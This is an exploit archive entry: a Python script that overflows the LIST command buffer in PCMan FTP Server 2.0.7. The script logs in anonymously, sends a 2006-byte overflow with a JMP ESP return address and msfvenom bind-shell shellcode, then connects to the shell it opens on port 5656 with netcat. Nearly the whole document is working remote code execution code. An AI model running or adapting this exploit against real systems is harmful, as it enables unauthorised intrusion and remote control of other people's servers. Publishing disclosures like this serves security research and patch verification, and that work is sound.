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PCMan FTP Server 2.0.7 LIST Buffer Overflow

PCMan FTP Server 2.0.7 LIST Buffer Overflow
Posted Nov 9, 2016
Authored by Yunus YILDIRIM

PCMan FTP server version 2.0.7 LIST command buffer overflow exploit.

tags | exploit, overflow
MD5 | 8843107784fc172ea65d70b16e30adb5

PCMan FTP Server 2.0.7 LIST Buffer Overflow

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#!/usr/bin/env python
#-*- coding: utf-8 -*-

# Exploit Title: PCMan FTP Server 2.0.7 - 'LIST' Command Buffer Overflow
# Date: 07/11/2016
# Author: Yunus YILDIRIM (Th3GundY)
# Team: CT-Zer0 (@CRYPTTECH) - https://www.crypttech.com
# Website: http://yildirimyunus.com
# Contact: yunusyildirim@protonmail.com
# Tested on: Windows 7 Ultimate 32Bit

import socket
import sys
import os
import time

def exploit(target, port):

eip = "\xC3\x9C\xB4\x76" #SHELL32.dll 76B49CC3 JMP ESP

# msfvenom -p windows/shell_bind_tcp LPORT=5656 -b '\x00\x0a\x0d\xff' -f c
shellcode = ("\xdb\xcf\xd9\x74\x24\xf4\xba\x9f\xef\x1b\x27\x5e\x29\xc9\xb1"
"\x53\x31\x56\x17\x03\x56\x17\x83\x59\xeb\xf9\xd2\x99\x1c\x7f"
"\x1c\x61\xdd\xe0\x94\x84\xec\x20\xc2\xcd\x5f\x91\x80\x83\x53"
"\x5a\xc4\x37\xe7\x2e\xc1\x38\x40\x84\x37\x77\x51\xb5\x04\x16"
"\xd1\xc4\x58\xf8\xe8\x06\xad\xf9\x2d\x7a\x5c\xab\xe6\xf0\xf3"
"\x5b\x82\x4d\xc8\xd0\xd8\x40\x48\x05\xa8\x63\x79\x98\xa2\x3d"
"\x59\x1b\x66\x36\xd0\x03\x6b\x73\xaa\xb8\x5f\x0f\x2d\x68\xae"
"\xf0\x82\x55\x1e\x03\xda\x92\x99\xfc\xa9\xea\xd9\x81\xa9\x29"
"\xa3\x5d\x3f\xa9\x03\x15\xe7\x15\xb5\xfa\x7e\xde\xb9\xb7\xf5"
"\xb8\xdd\x46\xd9\xb3\xda\xc3\xdc\x13\x6b\x97\xfa\xb7\x37\x43"
"\x62\xee\x9d\x22\x9b\xf0\x7d\x9a\x39\x7b\x93\xcf\x33\x26\xfc"
"\x3c\x7e\xd8\xfc\x2a\x09\xab\xce\xf5\xa1\x23\x63\x7d\x6c\xb4"
"\x84\x54\xc8\x2a\x7b\x57\x29\x63\xb8\x03\x79\x1b\x69\x2c\x12"
"\xdb\x96\xf9\x8f\xd3\x31\x52\xb2\x1e\x81\x02\x72\xb0\x6a\x49"
"\x7d\xef\x8b\x72\x57\x98\x24\x8f\x58\xb0\xac\x06\xbe\xd6\xdc"
"\x4e\x68\x4e\x1f\xb5\xa1\xe9\x60\x9f\x99\x9d\x29\xc9\x1e\xa2"
"\xa9\xdf\x08\x34\x22\x0c\x8d\x25\x35\x19\xa5\x32\xa2\xd7\x24"
"\x71\x52\xe7\x6c\xe1\xf7\x7a\xeb\xf1\x7e\x67\xa4\xa6\xd7\x59"
"\xbd\x22\xca\xc0\x17\x50\x17\x94\x50\xd0\xcc\x65\x5e\xd9\x81"
"\xd2\x44\xc9\x5f\xda\xc0\xbd\x0f\x8d\x9e\x6b\xf6\x67\x51\xc5"
"\xa0\xd4\x3b\x81\x35\x17\xfc\xd7\x39\x72\x8a\x37\x8b\x2b\xcb"
"\x48\x24\xbc\xdb\x31\x58\x5c\x23\xe8\xd8\x6c\x6e\xb0\x49\xe5"
"\x37\x21\xc8\x68\xc8\x9c\x0f\x95\x4b\x14\xf0\x62\x53\x5d\xf5"
"\x2f\xd3\x8e\x87\x20\xb6\xb0\x34\x40\x93")

buffer = 'A'*2006 + eip + "\x90"*21 + shellcode

try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target,port))
s.recv(1024)
print "[+] Connect to %s on port %d" % (target,port)
except Exception, e:
print "[-] Could not create socket", e.message
sys.exit(0)

try:
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS CT-Zer0\r\n')
s.recv(1024)
s.send('LIST ' + buffer + '\r\n')
print "[+] Exploit Sent Successfully"
s.close()
print '[+] You got bind shell on port 5656\n'
time.sleep(2)
os.system('nc ' + target + ' 5656')
except:
print "[-] Could not connect to target"

def banner():
banner = "\n\n"
banner +=" aaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaa aaaaaaa \n"
banner +=" aaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa \n"
banner +=" aaa aaaaaaaaa aaaaa aaaaaa aaaaaaaaaaaaaaaaa \n"
banner +=" aaa aaaaaaaaaaaaaa aaaaaa aaaaaaaaaaaaaaaaa \n"
banner +=" aaaaaaaa aaa aaaaaaaaaaaaaaaaaaa aaaaaaaaaaaa \n"
banner +=" aaaaaaa aaa aaaaaaaaaaaaaaaaaaa aaa aaaaaaa \n"
banner +=" \n"
print banner

if len(sys.argv) == 3:
banner()
target = sys.argv[1]
port = int(sys.argv[2])
exploit(target, port)
else:
banner()
print "[*] Usage: python %s <IP> <Port>\n" % sys.argv[0]
sys.exit(0)

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